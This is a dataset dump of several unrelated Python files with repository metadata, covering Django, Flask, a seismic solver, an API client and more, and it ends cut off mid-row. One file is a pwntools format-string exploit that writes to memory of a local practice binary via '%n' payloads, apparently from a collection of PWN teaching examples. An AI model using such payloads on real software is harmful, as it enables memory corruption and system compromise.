hexsha
stringlengths
40
40
size
int64
4
996k
ext
stringclasses
8 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
245
max_stars_repo_name
stringlengths
6
130
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
listlengths
1
10
max_stars_count
int64
1
191k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
4
245
max_issues_repo_name
stringlengths
6
130
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
listlengths
1
10
max_issues_count
int64
1
67k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
4
245
max_forks_repo_name
stringlengths
6
130
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
listlengths
1
10
max_forks_count
int64
1
105k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
4
996k
avg_line_length
float64
1.33
58.2k
max_line_length
int64
2
323k
alphanum_fraction
float64
0
0.97
content_no_comment
stringlengths
0
946k
is_comment_constant_removed
bool
2 classes
is_sharp_comment_removed
bool
1 class
f728cdb7e80b75fd8696d0d52ab7737e920cf1b9
1,341
py
Python
Examples/write/exploit.py
aliceloveMike/Tools-and-Examples-of-PWN
49b8965d315ccf67c4c3289917054aa8be7c4cd7
[ "MIT" ]
null
null
null
Examples/write/exploit.py
aliceloveMike/Tools-and-Examples-of-PWN
49b8965d315ccf67c4c3289917054aa8be7c4cd7
[ "MIT" ]
null
null
null
Examples/write/exploit.py
aliceloveMike/Tools-and-Examples-of-PWN
49b8965d315ccf67c4c3289917054aa8be7c4cd7
[ "MIT" ]
null
null
null
from pwn import * def forc(): sh = process('./overwrite') c_addr = int(sh.recvuntil('\n', drop=True), 16) print hex(c_addr) payload = p32(c_addr) + '%012d' + '%6$n' print payload #gdb.attach(sh) sh.sendline(payload) print sh.recv() sh.interactive() def fora(): sh = process('....
20.953125
66
0.537658
from pwn import * def forc(): sh = process('./overwrite') c_addr = int(sh.recvuntil('\n', drop=True), 16) print hex(c_addr) payload = p32(c_addr) + '%012d' + '%6$n' print payload sh.sendline(payload) print sh.recv() sh.interactive() def fora(): sh = process('./overwrite') ...
false
true
f728cff82a71bcf8462465adc1eb5c0e3f090535
493
py
Python
dev/logger.py
BenSDuggan/DAPT
7f3f066e72aa51752220d598ba7cd7486835c485
[ "BSD-3-Clause" ]
1
2021-03-21T05:51:42.000Z
2021-03-21T05:51:42.000Z
dev/logger.py
BenSDuggan/DAPT
7f3f066e72aa51752220d598ba7cd7486835c485
[ "BSD-3-Clause" ]
null
null
null
dev/logger.py
BenSDuggan/DAPT
7f3f066e72aa51752220d598ba7cd7486835c485
[ "BSD-3-Clause" ]
null
null
null
# Test logging stuff import dapt, logging logger = logging.getLogger('sample logger') logger.setLevel(logging.DEBUG) # create console handler and set level to debug ch = logging.StreamHandler() ch.setLevel(logging.DEBUG) # add formatter to ch ch.setFormatter(logging.Formatter('%(asctime)s - %(name)s - %(levelname)...
17.607143
90
0.732252
import dapt, logging logger = logging.getLogger('sample logger') logger.setLevel(logging.DEBUG) ch = logging.StreamHandler() ch.setLevel(logging.DEBUG) ch.setFormatter(logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')) logger.addHandler(ch) logger.warning('sup') db = dapt.tools.sampl...
true
true
f728d1273e634e458a98a003a6719a0316202510
3,444
py
Python
events/animecon2016/models.py
darkismus/kompassi
35dea2c7af2857a69cae5c5982b48f01ba56da1f
[ "CC-BY-3.0" ]
13
2015-11-29T12:19:12.000Z
2021-02-21T15:42:11.000Z
events/animecon2016/models.py
darkismus/kompassi
35dea2c7af2857a69cae5c5982b48f01ba56da1f
[ "CC-BY-3.0" ]
23
2015-04-29T19:43:34.000Z
2021-02-10T05:50:17.000Z
events/animecon2016/models.py
darkismus/kompassi
35dea2c7af2857a69cae5c5982b48f01ba56da1f
[ "CC-BY-3.0" ]
11
2015-09-20T18:59:00.000Z
2020-02-07T08:47:34.000Z
from django.db import models from core.utils import validate_slug from labour.models import ObsoleteSignupExtraBaseV1 TOTAL_WORK_CHOICES = [ ('minimi', 'Haluan tehdä vain minimityöpanoksen (JV: 10h, muut: 8h)'), ('ekstra', 'Olen valmis tekemään lisätunteja'), ] KORTITON_JV_HETU_LABEL = 'Henkilötunnus' KORTI...
31.888889
136
0.695412
from django.db import models from core.utils import validate_slug from labour.models import ObsoleteSignupExtraBaseV1 TOTAL_WORK_CHOICES = [ ('minimi', 'Haluan tehdä vain minimityöpanoksen (JV: 10h, muut: 8h)'), ('ekstra', 'Olen valmis tekemään lisätunteja'), ] KORTITON_JV_HETU_LABEL = 'Henkilötunnus' KORTI...
true
true
f728d140f24c12ba2622aebd1b1ce26996d4e5c0
478
py
Python
configs/denseclip_plus/anno_free/denseclip_plus_r50x16_deeplabv2_r101-d8_512x512_2k_voc12aug_20.py
buoyancy99/DenseCLIP
eac7810ca17c93aaf59f2a6b6c86ccbb4cdfcc9b
[ "Apache-2.0" ]
11
2022-02-04T01:09:45.000Z
2022-03-08T05:49:16.000Z
configs/denseclip_plus/anno_free/denseclip_plus_r50x16_deeplabv2_r101-d8_512x512_2k_voc12aug_20.py
buoyancy99/DenseCLIP
eac7810ca17c93aaf59f2a6b6c86ccbb4cdfcc9b
[ "Apache-2.0" ]
null
null
null
configs/denseclip_plus/anno_free/denseclip_plus_r50x16_deeplabv2_r101-d8_512x512_2k_voc12aug_20.py
buoyancy99/DenseCLIP
eac7810ca17c93aaf59f2a6b6c86ccbb4cdfcc9b
[ "Apache-2.0" ]
1
2022-02-03T10:29:40.000Z
2022-02-03T10:29:40.000Z
_base_ = './denseclip_plus_r50_deeplabv2_r101-d8_512x512_2k_voc12aug_20.py' model = dict( decode_head=dict( clip_channels=3072, channels=768, text_channels=768, text_embeddings_path='pretrain/voc_RN50x16_clip_text.pth', clip_weights_path='pretrain/RN50x16_clip_weights.pth', ...
28.117647
75
0.627615
_base_ = './denseclip_plus_r50_deeplabv2_r101-d8_512x512_2k_voc12aug_20.py' model = dict( decode_head=dict( clip_channels=3072, channels=768, text_channels=768, text_embeddings_path='pretrain/voc_RN50x16_clip_text.pth', clip_weights_path='pretrain/RN50x16_clip_weights.pth', ...
true
true
f728d153eaba3bceb0411414e7065dcc10802f7d
3,103
py
Python
Other/client_classes.py
botexpert/Chatter
8cd3262e38c58eae0fcbc49b3973f883a3185a48
[ "MIT" ]
null
null
null
Other/client_classes.py
botexpert/Chatter
8cd3262e38c58eae0fcbc49b3973f883a3185a48
[ "MIT" ]
null
null
null
Other/client_classes.py
botexpert/Chatter
8cd3262e38c58eae0fcbc49b3973f883a3185a48
[ "MIT" ]
2
2019-07-18T08:35:23.000Z
2019-07-18T09:24:00.000Z
import zmq from threading import Thread import time import json class StandaloneClient: def __init__(self, interface, host, user, target): self.interface = interface self.host = host self.connect_port = target.message_port self.bind_port = user.message_port self.heart_port ...
36.505882
77
0.63777
import zmq from threading import Thread import time import json class StandaloneClient: def __init__(self, interface, host, user, target): self.interface = interface self.host = host self.connect_port = target.message_port self.bind_port = user.message_port self.heart_port ...
true
true
f728d1953d721dca8d38921c3ee6a5ba731b6ad2
5,511
py
Python
pandagg/types.py
alkemics/panda
39e50d9b2408480ebf70c1a2d1a9fa12c55907c5
[ "Apache-2.0" ]
13
2020-03-03T20:59:08.000Z
2022-02-16T09:51:40.000Z
pandagg/types.py
alkemics/panda
39e50d9b2408480ebf70c1a2d1a9fa12c55907c5
[ "Apache-2.0" ]
57
2020-06-21T18:48:20.000Z
2022-03-16T09:52:39.000Z
pandagg/types.py
alkemics/panda
39e50d9b2408480ebf70c1a2d1a9fa12c55907c5
[ "Apache-2.0" ]
2
2020-03-03T20:59:20.000Z
2020-05-10T20:31:53.000Z
from typing_extensions import TypedDict, Literal from typing import Optional, Dict, Any, List, Union ClauseName = str ClauseType = str ClauseBody = Dict[str, Any] Meta = Dict[str, Any] # Script class Script(TypedDict, total=False): lang: str id: str source: str params: Dict[str, Any] GapPolicy = Li...
23.253165
134
0.700417
from typing_extensions import TypedDict, Literal from typing import Optional, Dict, Any, List, Union ClauseName = str ClauseType = str ClauseBody = Dict[str, Any] Meta = Dict[str, Any] class Script(TypedDict, total=False): lang: str id: str source: str params: Dict[str, Any] GapPolicy = Literal["s...
true
true
f728d1b47053ea894f30592b58ae6215583dad16
11,971
py
Python
Lib/asynchat.py
Hadron/python
73137f499ed658169f49273eee46845e3b53e800
[ "PSF-2.0" ]
332
2015-08-22T12:43:56.000Z
2022-03-17T01:05:43.000Z
Lib/asynchat.py
Hadron/python
73137f499ed658169f49273eee46845e3b53e800
[ "PSF-2.0" ]
36
2015-05-30T08:39:19.000Z
2022-03-04T20:42:33.000Z
Lib/asynchat.py
Hadron/python
73137f499ed658169f49273eee46845e3b53e800
[ "PSF-2.0" ]
74
2015-05-29T17:18:53.000Z
2022-01-15T14:06:44.000Z
# -*- Mode: Python; tab-width: 4 -*- # Id: asynchat.py,v 2.26 2000/09/07 22:29:26 rushing Exp # Author: Sam Rushing <rushing@nightmare.com> # ====================================================================== # Copyright 1996 by Sam Rushing # # All Rights Reserved # # Permission...
35.522255
82
0.589174
import asyncore from collections import deque class async_chat(asyncore.dispatcher): ac_in_buffer_size = 65536 ac_out_buffer_size = 65536 # sign of an application bug that we don't want to pass silently use_encoding = 0 encoding = 'latin-1' def __init_...
true
true
f728d21e7458186f8eea9ec854144e518d6767f5
9,283
py
Python
test/functional/example_test.py
wolfoxonly/cocn
dc29dc24b79882765ecc09d7ba2241492d999124
[ "MIT" ]
null
null
null
test/functional/example_test.py
wolfoxonly/cocn
dc29dc24b79882765ecc09d7ba2241492d999124
[ "MIT" ]
null
null
null
test/functional/example_test.py
wolfoxonly/cocn
dc29dc24b79882765ecc09d7ba2241492d999124
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 # Copyright (c) 2017 The CloudComputingChain Core developers # Distributed under the MIT software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. """An example functional test The module-level docstring should include a high-level description o...
41.627803
133
0.684692
from collections import defaultdict from test_framework.blocktools import (create_block, create_coinbase) from test_framework.mininode import ( CInv, P2PInterface, mininode_lock, msg_block, msg_getdata, network_thread_join, network_thread_start, ) from test_framework.test_framework i...
true
true
f728d223c4a4e54299bf0b1904134c960004cb1f
2,497
py
Python
core/learner.py
qwfy/cerl
4d120929915ecf5ecf1b0fb07c862e80b5073f45
[ "Apache-2.0" ]
null
null
null
core/learner.py
qwfy/cerl
4d120929915ecf5ecf1b0fb07c862e80b5073f45
[ "Apache-2.0" ]
null
null
null
core/learner.py
qwfy/cerl
4d120929915ecf5ecf1b0fb07c862e80b5073f45
[ "Apache-2.0" ]
null
null
null
# ****************************************************************************** # Copyright 2019 Intel Corporation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.o...
36.720588
120
0.594313
from core.off_policy_algo import Off_Policy_Algo class Learner: def __init__(self, wwid, algo_name, state_dim, action_dim, actor_lr, critic_lr, gamma, tau, init_w=True, **td3args): self.td3args = td3args; self.id = id self.algo = Off_Policy_Algo(wwid, algo_name, state_dim,...
true
true
f728d22c5e806d12c24f9ac4884010f227897260
27,787
py
Python
tests/tiling/explosive_source.py
opesci/seigen
7d12eab05ed5a857601babe2933aa804c853de66
[ "MIT" ]
12
2017-08-05T00:01:33.000Z
2019-06-12T13:18:29.000Z
tests/tiling/explosive_source.py
opesci/seigen
7d12eab05ed5a857601babe2933aa804c853de66
[ "MIT" ]
8
2017-08-03T19:49:54.000Z
2018-07-30T18:45:28.000Z
tests/tiling/explosive_source.py
opesci/seigen
7d12eab05ed5a857601babe2933aa804c853de66
[ "MIT" ]
4
2017-08-04T10:15:10.000Z
2018-08-03T05:41:18.000Z
""" This is an explicit DG method: we invert the mass matrix and perform a matrix-vector multiplication to get the solution in a time step """ from math import * import mpi4py import numpy as np from time import time import sys import os import cProfile from firedrake import * from firedrake.petsc import PETSc from ...
40.683748
318
0.575557
from math import * import mpi4py import numpy as np from time import time import sys import os import cProfile from firedrake import * from firedrake.petsc import PETSc from pyop2.utils import cached_property from pyop2.profiling import timed_region from pyop2.base import _trace, Dat, DataSet from pyop2.fusion.inter...
true
true
f728d2d5b0214e9814e6ffac8ee3bd2b253d502e
1,789
py
Python
src/test/parser/template/graph/test_basics.py
ajit2688/program-y-chatbot
f0a7eb33be2ec8de630644a6393296ddd2576eee
[ "MIT" ]
null
null
null
src/test/parser/template/graph/test_basics.py
ajit2688/program-y-chatbot
f0a7eb33be2ec8de630644a6393296ddd2576eee
[ "MIT" ]
null
null
null
src/test/parser/template/graph/test_basics.py
ajit2688/program-y-chatbot
f0a7eb33be2ec8de630644a6393296ddd2576eee
[ "MIT" ]
null
null
null
import unittest import xml.etree.ElementTree as ET from programy.bot import Bot from programy.brain import Brain from programy.config import ClientConfiguration, BrainConfiguration from programy.dialog import Question, Sentence from programy.parser.template.graph import TemplateGraph from programy.parser.template.node...
32.527273
94
0.704304
import unittest import xml.etree.ElementTree as ET from programy.bot import Bot from programy.brain import Brain from programy.config import ClientConfiguration, BrainConfiguration from programy.dialog import Question, Sentence from programy.parser.template.graph import TemplateGraph from programy.parser.template.node...
true
true
f728d2dec5e64da29b8b087fc4f90f8e4c08de12
5,641
py
Python
formcorp/api.py
formcorp/python-formcorp
ed8d3767c260d45d084a7df8c25e485bb62752dc
[ "Apache-2.0" ]
null
null
null
formcorp/api.py
formcorp/python-formcorp
ed8d3767c260d45d084a7df8c25e485bb62752dc
[ "Apache-2.0" ]
null
null
null
formcorp/api.py
formcorp/python-formcorp
ed8d3767c260d45d084a7df8c25e485bb62752dc
[ "Apache-2.0" ]
null
null
null
from collections import OrderedDict import hashlib import base64 import hmac import httplib import json import random import string import time import urllib """ API configuration. """ API_HOSTNAME = 'api.formcorp.com.au' # Module constants _constants = { 'SIGNATURE_ENCODING': "utf-8", 'REQUEST_TYPE_POST': 'P...
26.608491
136
0.655735
from collections import OrderedDict import hashlib import base64 import hmac import httplib import json import random import string import time import urllib API_HOSTNAME = 'api.formcorp.com.au' _constants = { 'SIGNATURE_ENCODING': "utf-8", 'REQUEST_TYPE_POST': 'POST', 'REQUEST_TYPE_GET': 'GET', 'REQ...
true
true
f728d3c7782a5500e0e5be7cb059e077cdfa6300
16,000
py
Python
webmap/migrations/0001_initial.py
tmszi/django-webmap-corpus
9c6046dd1d2750fa140cb817504bf9603b16e7fa
[ "MIT" ]
3
2015-11-05T01:29:32.000Z
2018-03-26T10:48:15.000Z
webmap/migrations/0001_initial.py
tmszi/django-webmap-corpus
9c6046dd1d2750fa140cb817504bf9603b16e7fa
[ "MIT" ]
1
2017-02-11T12:22:31.000Z
2017-02-12T21:34:47.000Z
webmap/migrations/0001_initial.py
tmszi/django-webmap-corpus
9c6046dd1d2750fa140cb817504bf9603b16e7fa
[ "MIT" ]
3
2017-02-11T12:08:45.000Z
2021-02-23T11:37:00.000Z
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import models, migrations import colorful.fields import django.contrib.gis.db.models.fields from django.conf import settings import webmap.utils class Migration(migrations.Migration): dependencies = [ migrations.swappable_dep...
61.068702
619
0.605375
from __future__ import unicode_literals from django.db import models, migrations import colorful.fields import django.contrib.gis.db.models.fields from django.conf import settings import webmap.utils class Migration(migrations.Migration): dependencies = [ migrations.swappable_dependency(settings.AUTH_U...
true
true
f728d42a9fd315f1f87a7ea0ded8196af22dec63
5,396
py
Python
ros/src/twist_controller/dbw_node.py
roopakingole/CarND-Capstone
e286df9e1388a46240705df5175e46520082a3a0
[ "MIT" ]
null
null
null
ros/src/twist_controller/dbw_node.py
roopakingole/CarND-Capstone
e286df9e1388a46240705df5175e46520082a3a0
[ "MIT" ]
null
null
null
ros/src/twist_controller/dbw_node.py
roopakingole/CarND-Capstone
e286df9e1388a46240705df5175e46520082a3a0
[ "MIT" ]
null
null
null
#!/usr/bin/env python import rospy from std_msgs.msg import Bool from dbw_mkz_msgs.msg import ThrottleCmd, SteeringCmd, BrakeCmd, SteeringReport from geometry_msgs.msg import TwistStamped import math from twist_controller import Controller ''' You can build this node only after you have built (or partially built) th...
42.488189
101
0.625093
import rospy from std_msgs.msg import Bool from dbw_mkz_msgs.msg import ThrottleCmd, SteeringCmd, BrakeCmd, SteeringReport from geometry_msgs.msg import TwistStamped import math from twist_controller import Controller class DBWNode(object): def __init__(self): rospy.init_node('dbw_node') vehic...
true
true
f728d4a4b2bf15aa63f77688d6594a23123c0835
1,301
py
Python
Dev/Tests/Whiskers_Roam_Expanded.py
parallaxinc/cyberbot
f7c4d355ee0310dcfef81027802cc41ac6ce90e1
[ "MIT" ]
4
2019-03-18T20:49:41.000Z
2022-03-24T01:44:36.000Z
Dev/Tests/Whiskers_Roam_Expanded.py
parallaxinc/cyberbot
f7c4d355ee0310dcfef81027802cc41ac6ce90e1
[ "MIT" ]
5
2019-06-07T18:09:27.000Z
2021-04-08T17:16:55.000Z
Dev/Tests/Whiskers_Roam_Expanded.py
parallaxinc/cyberbot
f7c4d355ee0310dcfef81027802cc41ac6ce90e1
[ "MIT" ]
null
null
null
# Whiskers_Roam_Expanded.py from cyberbot import * bot(22).tone(2000, 300) while True: left = bot(7).read_digital() right = bot(9).read_digital() if left == 1 and right == 1: #Go forward bot(18).servo_speed(75) bot(19).servo_speed(-75) display.show(Image.ARROW_S) bot(15).write_digital(0) bot(0).write_d...
26.55102
57
0.693313
from cyberbot import * bot(22).tone(2000, 300) while True: left = bot(7).read_digital() right = bot(9).read_digital() if left == 1 and right == 1: bot(18).servo_speed(75) bot(19).servo_speed(-75) display.show(Image.ARROW_S) bot(15).write_digital(0) bot(0).write_digital(0) elif left == 1 and right ==...
true
true
f728d5be0024cc7a2e17aae74076499dffb5852e
3,971
py
Python
py/gps_building_blocks/analysis/exp_design/ab_testing_design_test.py
isabella232/gps_building_blocks
86ef8be60a42cd12e27696007589388b7b053f4f
[ "Apache-2.0" ]
null
null
null
py/gps_building_blocks/analysis/exp_design/ab_testing_design_test.py
isabella232/gps_building_blocks
86ef8be60a42cd12e27696007589388b7b053f4f
[ "Apache-2.0" ]
1
2021-06-18T14:42:25.000Z
2021-06-18T14:42:25.000Z
py/gps_building_blocks/analysis/exp_design/ab_testing_design_test.py
isabella232/gps_building_blocks
86ef8be60a42cd12e27696007589388b7b053f4f
[ "Apache-2.0" ]
null
null
null
# Copyright 2021 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, ...
41.8
81
0.706875
from absl.testing import absltest import numpy as np from gps_building_blocks.analysis.exp_design import ab_testing_design BASELINE_CONVERSION_RATE_PERCENTAGE = 5 EXPECTED_UPLIFT_PERCENTAGE = 10 LABELS = np.array([1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]) PREDICTIONS = np.array([ 0...
true
true
f728d6871fb41255044213a71f7eb015371377f1
4,096
py
Python
tempest/api/compute/admin/test_security_groups.py
vmahuli/tempest
f70319f5eda72b8c8a913ae1002ec531324e4116
[ "Apache-2.0" ]
null
null
null
tempest/api/compute/admin/test_security_groups.py
vmahuli/tempest
f70319f5eda72b8c8a913ae1002ec531324e4116
[ "Apache-2.0" ]
null
null
null
tempest/api/compute/admin/test_security_groups.py
vmahuli/tempest
f70319f5eda72b8c8a913ae1002ec531324e4116
[ "Apache-2.0" ]
null
null
null
# Copyright 2013 NTT Data # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by appl...
42.666667
79
0.654541
import testtools from tempest.api.compute import base from tempest.common.utils import data_utils from tempest import config from tempest import test CONF = config.CONF class SecurityGroupsTestAdminJSON(base.BaseV2ComputeAdminTest): @classmethod def setUpClass(cls): super(SecurityGro...
true
true
f728d7023209795915e43579b9727a3dcfc2c293
1,702
py
Python
config/settings/test.py
tigrinustrade/humantech_prueba
065a3a8cf4eca079a781c88322854fae2c9dcda8
[ "MIT" ]
null
null
null
config/settings/test.py
tigrinustrade/humantech_prueba
065a3a8cf4eca079a781c88322854fae2c9dcda8
[ "MIT" ]
null
null
null
config/settings/test.py
tigrinustrade/humantech_prueba
065a3a8cf4eca079a781c88322854fae2c9dcda8
[ "MIT" ]
null
null
null
""" With these settings, tests run faster. """ from .base import * # noqa from .base import env # GENERAL # ------------------------------------------------------------------------------ # https://docs.djangoproject.com/en/dev/ref/settings/#secret-key SECRET_KEY = env( "DJANGO_SECRET_KEY", default="UwkbY3fge...
32.730769
80
0.49765
from .base import * from .base import env = env( "DJANGO_SECRET_KEY", default="UwkbY3fgeFHTlZrfDxa8T2C1sL8GY1HfTMmZarA4SXAdF1Q3TwsCt7bsNMNEaRyn", ) = "django.test.runner.DiscoverRunner" = { "default": { "BACKEND": "django.core.cache.backends.locmem.LocMemCache", "LOCATION": "", ...
true
true
f728d9b17682bd804bb3615a11c5e2ce2f618a85
11,026
py
Python
mealpy/fake/RHO.py
ashishpatel26/mealpy
62160e61b8bd4b084e44b80fda720e6bd6332e03
[ "MIT" ]
1
2021-05-20T06:53:08.000Z
2021-05-20T06:53:08.000Z
mealpy/fake/RHO.py
chenyuxiang0425/mealpy
69e8dc727e15527e31ac5ace1debe92a0bc7d828
[ "MIT" ]
null
null
null
mealpy/fake/RHO.py
chenyuxiang0425/mealpy
69e8dc727e15527e31ac5ace1debe92a0bc7d828
[ "MIT" ]
1
2020-09-30T21:14:33.000Z
2020-09-30T21:14:33.000Z
#!/usr/bin/env python # ------------------------------------------------------------------------------------------------------% # Created by "Thieu Nguyen" at 14:53, 17/03/2020 % # ...
45.561983
112
0.519137
from numpy.random import uniform, normal from numpy.linalg import norm from numpy import exp, power, pi, zeros, array, mean, ones, dot from math import gamma from copy import deepcopy from mealpy.root import Root class OriginalRHO(Root): def __init__(self, obj_func=None, lb=None, ub=None, problem_size=5...
true
true
f728da1527fd632c7835a634ccc21648be53f1a4
13,704
py
Python
statuscake/model/monitoring_location.py
StatusCakeDev/statuscake-py
267f485e6c18a6ed6e17667ceaddfce6271ec4af
[ "MIT" ]
null
null
null
statuscake/model/monitoring_location.py
StatusCakeDev/statuscake-py
267f485e6c18a6ed6e17667ceaddfce6271ec4af
[ "MIT" ]
null
null
null
statuscake/model/monitoring_location.py
StatusCakeDev/statuscake-py
267f485e6c18a6ed6e17667ceaddfce6271ec4af
[ "MIT" ]
null
null
null
""" StatusCake API Copyright (c) 2022 Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, me...
43.782748
121
0.587858
import re import sys from statuscake.model_utils import ( ApiTypeError, ModelComposed, ModelNormal, ModelSimple, cached_property, change_keys_js_to_python, convert_js_args_to_python_args, date, datetime, file_type, none_type, validate_get_composed_info, OpenA...
true
true
f728dc2a946afc1b5d06e688400b56b32399c964
1,251
py
Python
maml_zoo/baselines/zero_baseline.py
intel-isl/MetaLearningTradeoffs
bb1b849742a959310f3b9b630bb76ae3509a5d4a
[ "MIT" ]
2
2021-04-26T15:09:46.000Z
2021-04-28T11:58:28.000Z
maml_zoo/baselines/zero_baseline.py
intel-isl/MetaLearningTradeoffs
bb1b849742a959310f3b9b630bb76ae3509a5d4a
[ "MIT" ]
null
null
null
maml_zoo/baselines/zero_baseline.py
intel-isl/MetaLearningTradeoffs
bb1b849742a959310f3b9b630bb76ae3509a5d4a
[ "MIT" ]
null
null
null
from maml_zoo.baselines.base import Baseline import numpy as np class ZeroBaseline(Baseline): """ Dummy baseline """ def __init__(self): super(ZeroBaseline, self).__init__() def get_param_values(self, **kwargs): """ Returns the parameter values of the baseline object ...
22.745455
113
0.56275
from maml_zoo.baselines.base import Baseline import numpy as np class ZeroBaseline(Baseline): def __init__(self): super(ZeroBaseline, self).__init__() def get_param_values(self, **kwargs): return None def set_param_values(self, value, **kwargs): pass def fit(self, paths, **...
true
true
f728dd857698ca686c726ad6857773bcc957646e
1,204
py
Python
extras/kclibar.20s.py
flloreda/kcli
0f0ee3bad058882dd5db1faa257e05270933cc93
[ "Apache-2.0" ]
null
null
null
extras/kclibar.20s.py
flloreda/kcli
0f0ee3bad058882dd5db1faa257e05270933cc93
[ "Apache-2.0" ]
null
null
null
extras/kclibar.20s.py
flloreda/kcli
0f0ee3bad058882dd5db1faa257e05270933cc93
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/python # -*- coding: utf-8 -*- # <bitbar.title>kcli list</bitbar.title> # <bitbar.version>v1.0</bitbar.version> # <bitbar.author>Karim Boumedhel</bitbar.author> # <bitbar.author.github>karmab</bitbar.author.github> # <bitbar.desc>Lists running vms using kcli</bitbar.desc> # <bitbar.image>https://raw.githubu...
32.540541
98
0.657807
import sys try: from kvirt.config import Kconfig except: warning = u"\u26A0" warning = warning.encode('utf-8') print("%s\n" % warning) print("---\n") print("Kcli could not be found in your path. Is it installed?") sys.exit(1) config = Kconfig(quiet=True) k = config.k vms = k.list...
true
true
f728deb54d5e8380553f699e1124d7ca227b1e24
2,736
py
Python
app/__init__.py
pndemo/yummy-recipes-api
ae6729bd1c886ce9872d83488a6eaa99e92be513
[ "MIT" ]
null
null
null
app/__init__.py
pndemo/yummy-recipes-api
ae6729bd1c886ce9872d83488a6eaa99e92be513
[ "MIT" ]
3
2019-12-20T23:17:20.000Z
2022-03-21T22:16:25.000Z
app/__init__.py
pndemo/yummy-recipes-api
ae6729bd1c886ce9872d83488a6eaa99e92be513
[ "MIT" ]
1
2017-12-13T12:44:11.000Z
2017-12-13T12:44:11.000Z
""" Initial application specifications """ from flask import Flask, redirect from flask_sqlalchemy import SQLAlchemy from instance.config import app_config from flasgger import Swagger # pylint: disable=C0103 db = SQLAlchemy() def create_app(config_name): """ Function for creating application depending on confi...
38.535211
97
0.640351
from flask import Flask, redirect from flask_sqlalchemy import SQLAlchemy from instance.config import app_config from flasgger import Swagger db = SQLAlchemy() def create_app(config_name): app = Flask(__name__, instance_relative_config=True) app.config.from_object(app_config[config_name]) app.config[...
true
true
f728decc932ad7aa29280e8e97286815f1eb87a0
3,230
py
Python
app/tests/v1/test_meetup.py
BILLthebuilder/meetup-query
0c2ab5b3d8c9b97518e047f2e6030eea49916371
[ "MIT" ]
null
null
null
app/tests/v1/test_meetup.py
BILLthebuilder/meetup-query
0c2ab5b3d8c9b97518e047f2e6030eea49916371
[ "MIT" ]
2
2019-01-09T08:19:47.000Z
2019-01-15T03:42:32.000Z
app/tests/v1/test_meetup.py
BILLthebuilder/meetup-query
0c2ab5b3d8c9b97518e047f2e6030eea49916371
[ "MIT" ]
null
null
null
# # Third party imports # import unittest # import json # # Local imports # from app import create_app # class TestMeetups(unittest.TestCase): # def setUp(self): # self.app = create_app("testing") # self.client = self.app.test_client() # self.meetup_incomplete ={ # "topic...
36.292135
95
0.580186
TestCase): def setUp(self): self.app = create_app("testing") self.client = self.app.test_client() def create_record(self): response = self.client.post('/api/v1/meetups', data=json.dumps({ "title": "Football", ...
true
true
f728df115e09cdf67172d2fb6c3518a298f4ff9c
156
py
Python
sqla_wrapper/version.py
gustavopp93/sqla-wrapper
4e30534b67ebe83b40a95e1e3f342b132fedb6a6
[ "Apache-2.0" ]
null
null
null
sqla_wrapper/version.py
gustavopp93/sqla-wrapper
4e30534b67ebe83b40a95e1e3f342b132fedb6a6
[ "Apache-2.0" ]
null
null
null
sqla_wrapper/version.py
gustavopp93/sqla-wrapper
4e30534b67ebe83b40a95e1e3f342b132fedb6a6
[ "Apache-2.0" ]
null
null
null
import pkg_resources try: __version__ = pkg_resources.require("sqla-wrapper")[0].version except Exception: # pragma: no cover __version__ = None
19.5
66
0.737179
import pkg_resources try: __version__ = pkg_resources.require("sqla-wrapper")[0].version except Exception: __version__ = None
true
true
f728df9e68bfc20a2756b0819774695d041fcdb0
610
py
Python
test_summary_index.py
derenlei/bert-extractive-summarizer
64f73851d541bab40e62f09c799cbd7cce70cc69
[ "MIT" ]
null
null
null
test_summary_index.py
derenlei/bert-extractive-summarizer
64f73851d541bab40e62f09c799cbd7cce70cc69
[ "MIT" ]
null
null
null
test_summary_index.py
derenlei/bert-extractive-summarizer
64f73851d541bab40e62f09c799cbd7cce70cc69
[ "MIT" ]
1
2021-02-15T07:07:10.000Z
2021-02-15T07:07:10.000Z
from summarizer import Summarizer from transformers import AutoConfig, AutoTokenizer, AutoModel test_file = 'tests/test_news_source.txt' model_spec = "distilbert-base-uncased" f = open(test_file, 'r') body = f.read() f.close() custom_config = AutoConfig.from_pretrained(model_spec) custom_config.output_hidden_states=...
32.105263
82
0.816393
from summarizer import Summarizer from transformers import AutoConfig, AutoTokenizer, AutoModel test_file = 'tests/test_news_source.txt' model_spec = "distilbert-base-uncased" f = open(test_file, 'r') body = f.read() f.close() custom_config = AutoConfig.from_pretrained(model_spec) custom_config.output_hidden_states=...
true
true
f728e0077701397b6084ad1b88f21a79f54414ab
403
py
Python
app/run/migrations/0006_alter_run_start_time.py
Masado/django-app-api-3
88def27f1cd8974c62dead282cd04d1384054888
[ "MIT" ]
null
null
null
app/run/migrations/0006_alter_run_start_time.py
Masado/django-app-api-3
88def27f1cd8974c62dead282cd04d1384054888
[ "MIT" ]
null
null
null
app/run/migrations/0006_alter_run_start_time.py
Masado/django-app-api-3
